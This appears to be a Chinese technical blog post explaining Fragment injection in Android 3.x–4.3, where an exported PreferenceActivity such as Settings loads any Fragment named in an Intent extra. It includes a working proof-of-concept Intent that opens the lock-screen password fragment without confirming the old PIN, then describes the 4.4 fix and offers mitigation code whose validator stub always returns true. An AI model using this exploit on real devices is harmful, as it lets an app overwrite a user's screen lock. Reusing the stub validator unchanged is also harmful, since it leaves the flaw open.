Android框架攻击之Fragment注入

为了适应越来越大的设备屏幕,Android在3.X后引入了Fragment概念,作用是可以在一个屏幕上同时显示多个Activity,以达到充分利用屏幕的目的。关于Fragment的使用说明,可以阅读《Android Fragment完全解析,关于碎片你所需知道的一切。其中,Fragment有一个很强大的功能,就是可以动态加载。这样可以让整个界面的开发更加灵活,可以根据不同的场景动态加加载不同的Activity。

回到今天的主题——利用Fragment实现注入攻击。从3.X后,android工程师重构PreferenceActivity的实现,采用Fragment实现界面的加载。通过阅读源码可以发现,PreferenceActivity的onCreate里,需要读取Intent的多个extra内容,常量都定义在PreferenceActivity里(那堆EXTRA_XXXX就是了),其中有两个常量分别是EXTRA_SHOW_FRAGMENT=":android:show_fragment"EXTRA_SHOW_FRAGMENT_ARGUMENTS=":android:show_fragment_args",这两个参数可以决定当前的PreferenceActivity首次显示的Fragment。过程比较简单,就是先拿到fragment_class和fragment_args,然后通过反射生成一个Fragment实例,并动态加载。关键源码如下所示:


[java]  view plain copy
  1. mSinglePane = hidingHeaders || !onIsMultiPane();  
  2.         String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);  
  3.        Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);  
  4.         int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);  
  5.         int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);  

先获取initalFragment和initialArguments两个参数,之后在switchToHeaderInner里完成实例化:

[java]  view plain copy
  1. private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {  
  2.         getFragmentManager().popBackStack(BACK_STACK_PREFS,  
  3.                 FragmentManager.POP_BACK_STACK_INCLUSIVE);  
  4.         Fragment f = Fragment.instantiate(this, fragmentName, args);  
  5.         FragmentTransaction transaction = getFragmentManager().beginTransaction();  
  6.         transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);  
  7.         transaction.replace(com.android.internal.R.id.prefs, f);  
  8.         transaction.commitAllowingStateLoss();  
  9.     }  

到此为止,我们可以通过设置Intent的extral,实现动态修改PreferenceActivity的初次显示的Fragment。

我们知道,在Android系统里,App与App是互相隔离的,互相之间不能访问对方的私有数据。App与App之间(更准确地说应该是组件与组件之间)的通讯,统一使用Intent。通过Intent可以很方便的唤起其他App的Activity,达到功能重用的目的。比如平时使用ZAKER,你需要在微信圈里分享,通过这种方式就可以直接跳到微信的分享界面了。但使用这种方式的前提是目标Activity是exported的。

结合上面的两个关键点,我们是否可以寻找一个exported的PreferenceActivity的子类,并通过精心设置Intent的extral的值,以实现打开那些没有exported的界面呢?如果这些界面涉及安全方面信息的话,又会怎样呢?

Setting几乎每个Android设备都有的。Setting是以system_uid方式签名,所以具备行使system的权力。它的主界面com.android.settings.Settings就是继承自PreferenceActivity,而且肯定是exported。我们以此作为入口,尝试寻找Setting里有哪些重要的Fragment,并尝试把它加载进来,主要目的是希望可以跳过某些需要用户交互的限制。比如说ChooseLockPassword$ChooseLockPasswordFragment这个Fragment,这个类主要是负责锁屏界面的密码设定和修改。同时,这个类会根据之前传入的initialArguments做不同的逻辑,关键代码如下所示:

[java]  view plain copy
  1. Intent intent = getActivity().getIntent();  
  2.            final boolean confirmCredentials = intent.getBooleanExtra("confirm_credentials"true);  
  3.            if (savedInstanceState == null) {  
  4.                updateStage(Stage.Introduction);  
  5.                if (confirmCredentials) {  
  6.                    mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,  
  7.                            nullnull);  
  8.                }  
  9.            } else {  
  10.                mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);  
  11.                final String state = savedInstanceState.getString(KEY_UI_STAGE);  
  12.                if (state != null) {  
  13.                    mUiStage = Stage.valueOf(state);  
  14.                    updateStage(mUiStage);  
  15.                }  
  16.            }  

如果传入的参数当中,key为"confirm_credentials"为true,就会调起旧密码验证的流程。如果为false,就可以跳过旧密码验证而直接进入密码修改的流程。测试代码如下所示:

[java]  view plain copy
  1. Intent intent = new Intent();  
  2.         intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);  
  3.         intent.setClassName("com.android.settings""com.android.settings.Settings");  
  4.         intent.putExtra(":android:show_fragment""com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");  
  5.         intent.putExtra("confirm_credentials"false);  
  6.   
  7.         startActivity(intent);  


正常的密码修改流程是"设置"->"安全"->"屏幕锁定"->"确认你的PIN",如所下图所示:


Android框架攻击之Fragment注入_第1张图片


如果运行DEMO,则直接进入如下界面:

Android框架攻击之Fragment注入_第2张图片



这样你直接输入密码,就可以把原来的密码覆盖掉了。

这个BUG存在于3.X到4.3中的所有版本,4.4已经fix了。4.4强制所有PreferenceActivity必须要实现isValidFragment方法,详细见这里

Android框架攻击之Fragment注入_第3张图片


个人总结:

应该说,这种修复方式,只是起到一个提醒的作用,最终的安全还是交由开发者承担。另外,目前很多应用都是基于2.X的,所以要兼容在4.4上跑而不crash,只要在PreferenceActivity的子类都补充加上isValidFragment方法就可以了。但对于4.4之前的版,如果存在这种权限泄露的问题,还是需要单独处理的。下面给出兼容2.X~4.4修复的代码示例:

[java]  view plain copy
  1. public final class MyPreferenceActivity extends PreferenceActivity {  
  2.       
  3.     private boolean doValidcheck(String fragmentName) throws IllegalArgumentException{  
  4.         //TODO 做合法性检查  
  5.           
  6.         return true;  
  7.     }  
  8.       
  9.     //添加上这个方法,以使2.x~4.3的代码在4.4上可以正常运行  
  10.     protected boolean isValidFragment(String fragmentName) {  
  11.         return doValidcheck(fragmentName);  
  12.     }  
  13.       
  14.     @Override  
  15.     protected void onCreate(Bundle savedInstanceState) {  
  16.         //在onCreate前就做合法性判断  
  17.         String fragmentname = getIntent().getStringExtra(":android:show_fragment");  
  18.         doValidcheck(fragmentname);  
  19.   
  20.         super.onCreate(savedInstanceState);  
  21.     }  
  22. }  

你可能感兴趣的:(Android框架攻击之Fragment注入)